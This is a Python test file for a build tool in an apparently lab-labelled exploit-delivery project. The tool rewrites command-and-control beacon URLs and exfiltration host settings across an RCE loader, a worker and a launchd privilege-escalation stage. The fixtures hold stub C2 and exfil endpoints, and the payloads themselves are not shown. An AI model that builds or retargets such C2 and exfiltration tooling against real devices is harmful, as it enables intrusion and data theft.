Files
coruna-lab/channel-builder-ds/tools/tests/test_build.py
T
2026-08-29 00:15:54 +08:00

100 lines
4.5 KiB
Python

#!/usr/bin/env python3
from __future__ import annotations
import shutil
import sys
import tempfile
import unittest
from pathlib import Path
TOOLS = Path(__file__).resolve().parents[1]
if str(TOOLS) not in sys.path:
sys.path.insert(0, str(TOOLS))
import build # noqa: E402
CONFIG = (
"window.NEWS2_CONFIG = {\n"
' deliveryPath: "/next-chain",\n'
" exfil: {\n"
' host: "192.168.31.130",\n'
' domain: "192.168.31.130",\n'
" http_port: 8080,\n"
" https_port: 8080,\n"
" tls: false,\n"
" prefer_https: false,\n"
" },\n"
"};\n"
)
class BuildTest(unittest.TestCase):
def setUp(self) -> None:
self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-"))
self.source = self.tmp / "source"
self.dest = self.tmp / "next-chain"
self.source.mkdir(parents=True)
(self.source / "config.js").write_text(CONFIG, encoding="utf-8")
(self.source / "keep.txt").write_text("untouched\n", encoding="utf-8")
(self.source / "pe_worker.js").write_text(
'const C2 = "https://mh0usocqzi6f46i.com:443/beacon";\n'
'function p7(){ return { host: "192.168.31.130", port: 8080 }; }\n',
encoding="utf-8",
)
(self.source / "log.html").write_text("static log\n", encoding="utf-8")
(self.source / "pe_stage").mkdir()
(self.source / "pe_stage" / "s1_launchd.js").write_text("// stage\n", encoding="utf-8")
def tearDown(self) -> None:
shutil.rmtree(self.tmp, ignore_errors=True)
def test_rewrites_c2_and_publishes_pe_stage(self) -> None:
before = (self.source / "config.js").read_text(encoding="utf-8")
result = build.build(self.source, self.dest, "http://192.168.31.130:8000")
self.assertEqual((self.source / "config.js").read_text(encoding="utf-8"), before)
self.assertEqual(result["c2"], "http://192.168.31.130:8000")
published = (self.dest / "config.js").read_text(encoding="utf-8")
self.assertIn('host: "192.168.31.130"', published)
self.assertIn("http_port: 8000", published)
self.assertIn("tls: false", published)
self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n")
worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
self.assertIn("http://192.168.31.130:8000/beacon", worker)
self.assertIn('{ host: "192.168.31.130", port: 8000 }', worker)
self.assertFalse((self.dest / "log.html").exists())
self.assertTrue((self.dest / "pe_stage" / "s1_launchd.js").is_file())
self.assertEqual((self.dest / "pe_stage" / "s1_launchd.js").read_text(encoding="utf-8"), "// stage\n")
def test_https_c2(self) -> None:
build.build(self.source, self.dest, "https://c2.example.com")
published = (self.dest / "config.js").read_text(encoding="utf-8")
self.assertIn('host: "c2.example.com"', published)
self.assertIn("http_port: 443", published)
self.assertIn("tls: true", published)
self.assertIn("https://c2.example.com/beacon", (self.dest / "pe_worker.js").read_text(encoding="utf-8"))
def test_parse_endpoint(self) -> None:
ep = build.parse_endpoint("https://lab.example:8443/next-chain", label="--delivery")
self.assertEqual(ep.host, "lab.example")
self.assertEqual(ep.port, 8443)
self.assertEqual(ep.origin, "https://lab.example:8443")
self.assertEqual(ep.url, "https://lab.example:8443/next-chain")
def test_page_apis_use_location_origin(self) -> None:
root = TOOLS.parent / "source"
boot = (root / "boot.js").read_text(encoding="utf-8")
loader = (root / "rce_loader.js").read_text(encoding="utf-8")
worker = (root / "rce_worker_18.5.js").read_text(encoding="utf-8")
self.assertIn("function pageOrigin()", boot)
self.assertIn("function apiBase() {\n return pageOrigin();", boot)
self.assertNotIn("window.__LAB_EXFIL__", boot.split("function apiBase()")[1].split("function applyExfil")[0])
self.assertIn("location.origin", loader.split("function labApiBase()")[1].split("function resolveLabDeviceUUID")[0])
self.assertNotIn("__LAB_EXFIL__", loader.split("function labApiBase()")[1].split("function resolveLabDeviceUUID")[0])
self.assertIn("location.origin", worker.split("function labC2LogUrl")[1].split("function print")[0])
self.assertNotIn("__labExfilUrl", worker.split("function labC2LogUrl")[1].split("function print")[0])
if __name__ == "__main__":
unittest.main()